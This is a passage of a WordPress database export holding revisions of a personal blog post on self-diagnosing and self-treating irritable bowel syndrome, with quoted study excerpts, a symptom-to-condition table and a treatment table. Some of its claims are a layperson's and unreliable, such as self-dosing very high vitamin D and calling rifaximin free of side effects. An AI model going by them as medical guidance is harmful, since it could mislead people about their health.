/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://academic.oup.com/jcem/article/95/6/2715/2598312?login=true\"><strong>Older Subjects with Hyperthyroidism Present with a Paucity of Symptoms and Signs: A Large Cross-Sectional Study | The Journal of Clinical Endocrinology &amp; Metabolism | Oxford Academic (oup.com)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Hyperthyroidism affects 3% of women and 0.3% of males (1) and is associated with significant morbidity and mortality, mainly from cardiovascular and cerebrovascular disease (2, 3). In iodine-replete areas, the underlying diagnosis is Graves’ disease in 60–80% and toxic nodular hyperthyroidism in most others (4, 5). Patients commonly complain of fatigue, anxiety, tremor, weight loss, palpitation, and heat sensitivity. Clinical signs include tachycardia, the presence of goiter, and a tremor</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Giardiasis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1016/j.pt.2009.11.010\">Sci-Hub | Giardiasis – why do the symptoms sometimes never stop? | 10.1016/j.pt.2009.11.010 (scihubtw.tw)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Transmission of Giardia is via the faecal–oral route, either indirectly through contaminated water or food, or directly from person to person.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Giardia infection is usually associated with diarrhoea, but can be either asymptomatic or responsible for a broad clinical spectrum, with symptoms ranging from acute to chronic [4]; diarrhoea can occur with or without malabsorption syndrome; there can be nausea, vomiting, and weight loss [5]. Occasionally, Giardia infection can be associated with pruritis and urticaria [6], uveitis [7], sensitisation towards food antigens [8,9] and synovitis [10]. Children might also suffer more serious consequences, including retarded growth and development [11,12], poor cognitive function</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Carcinoid syndrome</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.sagepub.com/doi/full/10.1177/1758834016675803\">Refractory carcinoid syndrome: a review of treatment options - Rachel P. Riechelmann, Allan A. Pereira, Juliana F. M. Rego, Frederico P. Costa, 2017 (sagepub.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>CSy is defined as symptoms and signs of overproduction of serotonin produced by neuroendocrine tumor, such as flushing, diarrhea, dyspnea, bronchospasm, palpitation, and eventually, symptoms associated with right-sided heart failure resulting from carcinoid heart [<a href=\"https://journals.sagepub.com/doi/full/10.1177/1758834016675803#\">Bhattacharyya <em>et al.</em> 2007</a>].</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Microscopic colitis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1038/ajg.2016.477\"><strong>Sci-Hub | Diagnosis and Management of Microscopic Colitis | 10.1038/ajg.2016.477 (scihubtw.tw)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;The most common symptom in patients with microscopic colitis (MC) is chronic or intermittent watery diarrhea, ranging in severity from mild to severe with dehydration and electrolyte abnormalities. Other symptoms are commonly present, including abdominal pain, weight loss, and arthralgias, each present in up to half of patients</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, the presence or absence of certain clinical features, such as older age, female sex, use of certain medications or recent initiation of any medication, weight loss, nocturnal stools, and shorter duration of diarrhea, may identify patients at higher or lower risk of having MC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Small intestinal bacterial overgrowth</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6884350/\"><strong>Small Intestinal Bacterial Overgrowth: Clinical Features and Therapeutic Management (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although abdominal bloating, gas, distension, and diarrhea are common symptoms, they do not predict positive diagnosis. Predisposing factors include proton-pump inhibitors, opioids, gastric bypass, colectomy, and dysmotility.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Eosinophilic gastroenteritis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6556468/\"><strong>Eosinophilic gastroenteritis: diagnosis and clinical perspectives (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mucosal EGE is the most common variety, seen in about 57%7 to 100%8,9 of cases, and presents with features of abdominal pain, nausea, vomiting, dyspepsia, diarrhea, malabsorption, or protein-losing enteropathy, which in turn may cause hypoalbuminemia, anemia, and weight loss. Additionally, the occurrence of lower-GI bleeding may imply colonic involvement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Celiac disease</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5437500/\"><strong>Celiac disease: From pathophysiology to treatment (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dermatitis herpetiformis is an inflammatory cutaneous disease, presenting with diffuse, symmetrical, polymorphic lesions consisting of erythema, urticarial plaques, papules, herpetiform vesiculae and blisters followed by erosions, excoriations and hyperpigmentation. It is characterized by typical histopathological and immunopathological findings. Rarely it is diagnosed in childhood but commonly appears in the third decade.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Type 1-diabetes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of the most recognized and widely investigated disorders associated with celiac disease is type 1-diabetes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Autoimmune thyroid disorders</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In patients affected by celiac disease it has been reported an increased prevalence (nearly, 2%-5%) of thyroid disorders (<em>i.e</em>., hyperthyroidism-Graves’s disease or hypothyroidism-Hashimoto’s thyroiditis), diagnosed either before than after the diagnosis of gluten-enteropathy</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Autoimmune hepatitis and other forms of liver involvement</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The involvement of liver is common among patients affected by celiac disease</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Life-long gluten-free diet</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The current available treatment for celiac disease is life-long gluten-free diet[<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5437500/#B91\">91</a>-<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5437500/#B93\">93</a>]. Generally clinical improvement is achieved within a few weeks and the mucosal damage recovers in 1-2 years</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Bile acid malabsorption</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1016/j.cgh.2013.04.029\"><strong>Sci-Hub | Methods for Diagnosis of Bile Acid Malabsorption in Clinical Practice | 10.1016/j.cgh.2013.04.029 (scihubtw.tw)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Altered concentrations of bile acid (BA) in the colon can cause diarrhea or constipation. More than 25% of patients with irritable bowel syndrome with diarrhea or chronic diarrhea in Western countries have BA malabsorption (BAM)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although BAM is recognized in practice, the most popular current method of diagnosis includes a therapeutic trial of BA binders with symptom improvement; this approach is prevalent and the only resource available in countries like the United States where the noninvasive imaging based on scintigraphic BA retention is unavailable. Unfortunately, in certain disease states, symptoms may only improve with high doses of a BA sequestrant or binder, and the diagnosis of BAM may be missed</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Dyssnergic defecation</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/\"><strong>Diagnosis and Treatment of Dyssynergic Defecation (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Constipation is more common in women with an estimated female:male ratio of 2.2:1.<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> Its prevalence increases with advancing age, particularly after age 65.<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> African Americans,<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> lower socioeconomic status,<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> pregnancy,<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b14-jnm-22-423\">14</a> and neurological diseases including Parkinson’s disease and multiple sclerosis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The etiology of dyssynergic defecation is unclear. In a prospective survey of 118 patients with dyssynergia, we found that the problem began during childhood in 31% of patients, and after a particular event, such as pregnancy, trauma, or back injury in 29% of patients, and there was no cause in 40% of patients</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Lactose intolerance</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.aafp.org/afp/2002/0501/p1845.html?ref=Guzels.TV\"><strong>Lactose Intolerance - American Family Physician (aafp.org)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Common symptoms include abdominal pain and bloating, excessive flatus, and watery stool following the ingestion of foods containing lactose. Lactase deficiency is present in up to 15 percent of persons of northern European descent, up to 80 percent of blacks and Latinos, and up to 100 percent of American Indians and Asians</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Non celiac gluten sensitivity</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/\"><strong>Recent advances in understanding non-celiac gluten sensitivity (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;In addition to experiencing GI symptoms, patients with NCGS most often experience a complex of extra-intestinal symptoms, including a “foggy mind”, which is described as an inability to concentrate, reduction of mnemonic capabilities, and lack of well-being as well as tiredness, headache, anxiety, numbness, joint/muscle pain, and skin rash/dermatitis</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to self-reported data, the prevalence rate of NCGS ranges between 0.5% and 13% in the general population <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-2\">2</a>– <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-5\">5</a>, and prevalence is higher in women <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-2\">2</a>, <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-3\">3</a>, teenagers, and patients in the third to fourth decade of life <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-2\">2</a>, <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-4\">4</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Helicobacter pylori</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3925853/\"><strong>A review of Helicobacter pylori diagnosis, treatment, and methods to detect eradication (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>H. pylori</em> infection affects nearly half of the world’s population. In developing countries, the prevalence of infection is as high as 90%, whereas in developed countries, excluding Japan, the prevalence is below 40%</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Today, the involvement of H. pylori in active chronic gastritis, its association with gastroduodenal ulcer, and its well-accepted role as a risk factor for the development of gastric cancer are well documented[68].</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cedars-sinai.org/health-library/diseases-and-conditions/g/gastritis.html\">Gastritis | Cedars-Sinai (cedars-sinai.org)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Stomach upset or pain</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Belching and hiccups</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Belly (abdominal) bleeding</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nausea and vomiting</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Feeling of fullness or burning in your stomach</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Loss of appetite</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Blood in your vomit or stool. This is a sign that your stomach lining may be bleeding.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Helpful info from Wikipedia that I didn’t feel like checking</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Causes</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><li>Neurological/psychiatric: A study of 97,593 individuals with IBS identified comorbidities such as headache, fibromyalgia, and depression.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-79\"><sup>[79]</sup></a> IBS occurs in 51% of people with chronic fatigue syndrome and 49% of people with fibromyalgia, and psychiatric disorders occur in 94% of people with IBS.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-White2002-10\"><sup>[10]</sup></a></li><li><a href=\"https://en.wikipedia.org/wiki/Channelopathy\">Channelopathy</a> and <a href=\"https://en.wikipedia.org/wiki/Muscular_dystrophy\">muscular dystrophy</a>: IBS and functional GI diseases are comorbidities of genetic channelopathies that cause cardiac conduction defects and neuromuscular dysfunction, and result also in alterations in GI motility, secretion, and sensation.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-BEYDER_2016-80\"><sup>[80]</sup></a> Similarly, IBS and FBD are highly prevalent in <a href=\"https://en.wikipedia.org/wiki/Myotonic_dystrophy\">myotonic muscle dystrophies</a>. Digestive symptoms may be the first sign of dystrophic disease and may precede the musculo-skeletal features by up to 10 years</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Epidemiology</h3>\n<!-- /wp:heading -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td>Canada</td><td>6%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-BOIVIN_2001-150\"><sup>[150]</sup></a></td><td>Boivin, 2001</td><td></td></tr><tr><td>Japan</td><td>10%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-QUIGLEY_2006-151\"><sup>[151]</sup></a></td><td>Quigley, 2006</td><td>Study measured prevalence of GI abdominal pain/cramping</td></tr><tr><td>United Kingdom</td><td>8.2%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-EHLIN_2003-152\"><sup>[152]</sup></a>10.5%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-WILSON_2004-153\"><sup>[153]</sup></a></td><td>Ehlin, 2003Wilson, 2004</td><td>Prevalence increased substantially 1970–2004</td></tr><tr><td>United States</td><td>14.1%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-HUNGIN_2005-154\"><sup>[154]</sup></a></td><td>Hungin, 2005</td><td>Most undiagnosed</td></tr><tr><td>United States</td><td>15%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-BOIVIN_2001-150\"><sup>[150]</sup></a></td><td>Boivin, 2001</td><td>Estimate</td></tr><tr><td>Pakistan</td><td>14%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-JAFRI_2007-155\"><sup>[155]</sup></a></td><td>Jafri, 2007</td><td>Much more common in 16–30 age range. 56% male, 44% female</td></tr><tr><td>Pakistan</td><td>34%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-JAFRI_2005-156\"><sup>[156]</sup></a></td><td>Jafri, 2005</td><td>College students</td></tr><tr><td>Mexico City</td><td>35%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-SCHMULSON_2005-157\"><sup>[157]</sup></a></td><td>Schmulson, 2006</td><td>n=324. Also measured functional diarrhea and functional vomiting. High rates attributed to \"stress of living in a populated city.\"</td></tr><tr><td>Brazil</td><td>43%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-QUIGLEY_2006-151\"><sup>[151]</sup></a></td><td>Quigley, 2006</td><td>Study measured prevalence of GI abdominal pain/cramping</td></tr><tr><td>Mexico</td><td>46%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-QUIGLEY_2006-151\"><sup>[151]</sup></a></td><td>Quigley, 2006</td><td>Study measured prevalence of GI abdominal pain/cramping</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3><strong>Gender</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Women are around two to three times more likely to be diagnosed with IBS and four to five times more likely to seek specialty care for it than men.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-158\"><sup>[158</sup></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Studies of females with IBS show symptom severity often fluctuates with the menstrual cycle, suggesting hormonal differences may play a role.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-159\"><sup>[159]</sup></a></p>\n<!-- /wp:paragraph -->','A complete guide to self-diagnosing and self-treating IBS','','inherit','closed','closed','','58-revision-v1','','','2021-04-18 16:47:22','2021-04-18 16:47:22','',58,'https://trevorklee.com/?p=67',0,'revision','',0),
(68,1,'2021-04-18 16:55:14','2021-04-18 16:55:14','<!-- wp:simpletoc/toc {\"max_level\":3} /-->\n\n<!-- wp:heading -->\n<h2>Introduction</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>I went through my own bout with IBS some years ago. It was really frustrating. It seemed to come out of nowhere. I spent a lot of money on a test for SIBO to see if that was the problem, but didn’t see any results. Then, it briefly seemed like I was cured, only to randomly become sensitive to gluten for a year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dealing with IBS was especially frustrating because of the unhelpful advice from doctors, family, and friends. Doctors would tell me it was all in my head. My family thought I had Crohn\'s. My friends just would get weirded out by the things I refused to eat, and try to nag me into trying just one muffin/beer/hot wing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A few years ago, my IBS disappeared as suddenly as it came. Now, I’m mostly ok. But I still remember how frustrating and life-impairing IBS was.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This article is what I wish I had back when I first got IBS. It’s not just another blog spam on the front page of Google, with the 5 things that literally every other blog spam tells you about IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s a comprehensive guide to making sure you have IBS and not another disease, and then treating IBS. And I mean comprehensive. If I missed anything, tell me!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At the end of the article, I list all my sources (and there are a lot!) and what I took from them. I also include my evaluation of the treatment options, as I know that can be an especially challenging thing for IBS patients to do.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’re pressed for time, just scroll down and look at the tables. If you’re not, feel free to read everything.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>How can you be sure you have IBS?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>IBS is a diagnosis of exclusion. If you don’t have other conditions that can also cause stomach problems, then you probably have IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Most doctors skip straight to diagnosing IBS without thoroughly checking whether you might have these other conditions. That’s unfortunate, because, unlike IBS, some of these other conditions actually have cures. If you’re diagnosed correctly, your IBS could be solved a lot quicker.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, some of these conditions are much more serious than IBS. So, you definitely want to make sure you don’t have these other conditions, because, if you do, you’ll need to start treating them ASAP.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s a pretty exhaustive list of conditions that mimic IBS. Each row is a separate condition. Use it to potentially diagnose yourself. You’ll need laboratory tests to confirm whether you’re correct, but at least you’ll be able to advocate for yourself at the doctor’s office.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note that the more of these conditions that you have, the more likely the diagnosis is. So, if you take the first example, an obese smoker on prednisone with constipation is more likely to have diverticulitis than a skinny non-smoker with diarrhea.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, please note that I’ve <em>italicized</em> the most important parts of a diagnosis. For example, unexplained weight loss is a pretty big warning sign for colon cancer and Chron’s. If you just have diarrhea and don’t have unexplained weight loss, neither colon cancer or Crohn\'s are likely (but they’re still possible).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>IBS Diagnosis Table</h3>\n<!-- /wp:heading -->\n\n<!-- wp:table {\"className\":\"is-style-regular\"} -->\n<figure class=\"wp-block-table is-style-regular\"><table><tbody><tr><td><strong>If you have</strong></td><td><strong>Or if you are</strong></td><td><strong>Then you might have</strong></td></tr><tr><td>Bloating OR constipation OR diarrhea OR <em>bright blood in your stool</em></td><td>Obese OR a smoker OR a user of anti-inflammatories/steroids</td><td>Diverticulitis</td></tr><tr><td>Constipation OR diarrhea OR <em>unexplained weight loss</em> OR fatigue</td><td><em>Over the age of 45 (especially over the age of 65)</em> OR <em>have a history of cancer</em></td><td>Colon cancer</td></tr><tr><td><em>Bloody diarrhea</em>&nbsp;</td><td></td><td>Ulcerative colitis</td></tr><tr><td>Diarrhea OR unexplained anemia OR <em>fever</em> OR <em>unexplained weight loss</em> OR growth retardation</td><td></td><td>Crohn\'s disease</td></tr><tr><td>Joint pain OR <em>cold intolerance</em> OR constipationOR depression OR heavy menstrual flow OR unexplained weight gain or <em>fatigue </em>OR hair loss</td><td><em>Female</em></td><td>Hypothyroidism</td></tr><tr><td>Diarrhea AND nausea OR vomiting OR weight loss</td><td><em>In an area with poor water quality or food hygiene standards</em></td><td>Giardia</td></tr><tr><td>Abdominal bloating OR gas OR&nbsp; distension OR diarrhea</td><td><em>A user of proton pump inhibitors (e.g. Prilosec) </em>OR <em>opioids</em> OR <em>gastric bypass</em> OR <em>colectomy</em></td><td>Small intestinal bacterial overgrowth (SIBO)</td></tr><tr><td>Diarrhea OR bloating OR fatigue OR anemia OR <em>unexplained blisters (dermatitis herpetiformis)</em></td><td><em>Type 1 diabetic</em></td><td>Celiac disease</td></tr><tr><td><em>Diarrhea</em></td><td></td><td>Bile acid malabsorption</td></tr><tr><td><em>Constipation</em></td><td><em>Over 65 </em>OR <em>African American</em> OR <em>pregnant/a mother</em></td><td>Dyssnergic defecation</td></tr><tr><td>Abdominal pain and bloating OR gas OR watery stool <em>following the ingestion of foods containing lactose</em></td><td>Black, Latino, or <em>Asian</em></td><td>Lactose intolerance</td></tr><tr><td>Diarrhea OR constipation OR brain fog OR joint/muscle pain, OR skin rash/dermatitis</td><td>Female OR in the third to fourth decade of life</td><td>Non celiac gluten sensitivity</td></tr><tr><td>Nausea and vomiting OR <em>feeling of fullness or burning in your stomach</em> OR blood in your vomit or stool.<br></td><td><em>In an area with poor water quality or food hygiene standards</em></td><td>H. pylori</td></tr><tr><td>Constipation OR diarrhea OR nausea OR <em>a feeling of early fullness</em></td><td></td><td>A motility disorder, like slow transit constipation</td></tr><tr><td></td><td></td><td></td></tr><tr><td>**RARE CONDITIONS FOLLOW BELOW (you probably don’t have these)**</td></tr><tr><td><em>Constipation since early childhood</em></td><td></td><td>Hirschsprung\'s disease</td></tr><tr><td>Chronic or intermittent watery diarrhea OR unexplained weight loss, OR joint pain<br></td><td>Over 65 OR female</td><td>Microscopic colitis</td></tr><tr><td><em>Flushing</em> OR diarrhea OR <em>shortness of breath</em> OR <em>palpitation</em></td><td></td><td>Carcinoid syndrome (part of carcinoid tumors)</td></tr><tr><td>Nausea OR vomiting, OR diarrhea OR anemia OR weight loss</td><td></td><td>Eosinophilic gastroenteritis</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading -->\n<h2>Steps to treat IBS</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you’ve made it through the whole list above and none of those apply to you, you probably just have IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s more likely you have IBS if you have a history of anxiety or depression, are female, or especially if you’ve <em>recently had a stomach bug</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now you’re looking for treatment. Good on you! My recommendations are to start with a food restriction diet. Take away everything but chicken and rice, then slowly add the rest back in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you have diarrhea, you might try a low FODMAP diet, eating small, regular portions, and/or limiting gassy foods like beans, cabbages, and onions.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you have constipation, you might try psyllium or linseed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you want to try medication, I’d recommend very high doses of cholecalciferol (Vitamin D3), like 50k IU every 2 weeks. You might also try peppermint oil for short term diarrhea relief.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s my short list. For my long list, including evaluation and limitations of treatments, read on!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>IBS Treatment Table</h3>\n<!-- /wp:heading -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>Potential IBS treatment</strong></td><td><strong>Evaluation</strong></td><td><strong>Limitations</strong></td></tr><tr><td>Low FODMAP</td><td>Low FODMAP diets seem to work. It doesn’t necessarily work better than just eating normal portions at regular times and reducing fat, insoluble fibers, caffeine, beans, cabbages, and onions. It works better if you have diarrhea.</td><td>The studies are only 1-3 months. It’s not clear what happens if you resume a normal diet after that time span.<br>The studies aren’t very well designed.</td></tr><tr><td>Gluten free diet (for non celiac)</td><td>It can work, but there’s not a big effect.</td><td>It only works for people who are sensitive to gluten (it’s not for anyone with IBS).</td></tr><tr><td>Fiber</td><td>Bran and insoluble fiber are probably not effective in any form of IBS.<br>Ispaghula (psyllium) and linseed, which are soluble fibers, are probably effective in all forms of IBS. Linseed seems like it’s probably better than psyllium.&nbsp;</td><td>All studies were done over a max of 1-3 months.<br>The studies aren’t very well designed.</td></tr><tr><td>Laxatives</td><td>Laxatives work.</td><td>They may not prevent constipation, especially in older patients</td></tr><tr><td>Anti spasmodics (dicyclomine, peppermint oil, pinaverium, trimebutine)</td><td>They have ok effects for abdominal pain and bigger effects for overall symptom scores.&nbsp;</td><td></td></tr><tr><td>Discontinuation of proton pump inhibitors</td><td>Not really a cure for IBS, but PPI overuse does lead to SIBO.</td><td></td></tr><tr><td>Antidepressants</td><td>Antidepressants probably work if your IBS is caused by depression or anxiety. It’s unclear whether they work if you don’t.</td><td>Antidepressants aren’t more effective in IBS than therapy.<br>It’s unclear if the type of antidepressant matters, but it most likely varies from person to person.</td></tr><tr><td>Rifaximin</td><td>Rifaximin can definitely benefit IBS-D, and may help IBS-C. It doesn’t seem to have any side effects.</td><td></td></tr><tr><td>Vitamin D3</td><td>Very high doses of vitamin D every 2 weeks (50,000 IU) probably improve IBS symptoms.</td><td>Taking really high doses of vitamin D can cause side effects. If you get side effects, stop taking vitamin D.</td></tr><tr><td>Soy isoflavones</td><td>Soy isoflavones may improve IBS in women.&nbsp;</td><td>There aren’t really good studies in men. There are no good long term studies either.</td></tr><tr><td>Acupuncture</td><td>Real acupuncture works just as well as fake acupuncture (having someone pretend to stick needles in you). Both work ok.</td><td></td></tr><tr><td>Probiotics</td><td>Probiotics may have a small effect.</td><td>The type of bacteria in the probiotic and the formulation matters a lot, as a lot of probiotics are useless or destroyed in the stomach.</td></tr><tr><td>Mesalazine</td><td>Mesalazine is probably not effective in IBS.</td><td></td></tr><tr><td>Loperamide</td><td>Loperamide is helpful for diarrhea and diarrhea-related symptoms.</td><td>There aren\'t great long-term studies. It may make pain at night worse.</td></tr><tr><td>Fecal microbiota transplant</td><td>Sometimes really helpful, sometimes not helpful at all.</td><td>Nasojejunal tube and colonoscopy seem like they work better than capsule for administration.</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading -->\n<h2>Evidence</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>How I evaluated the evidence</h3>\n<!-- /wp:heading 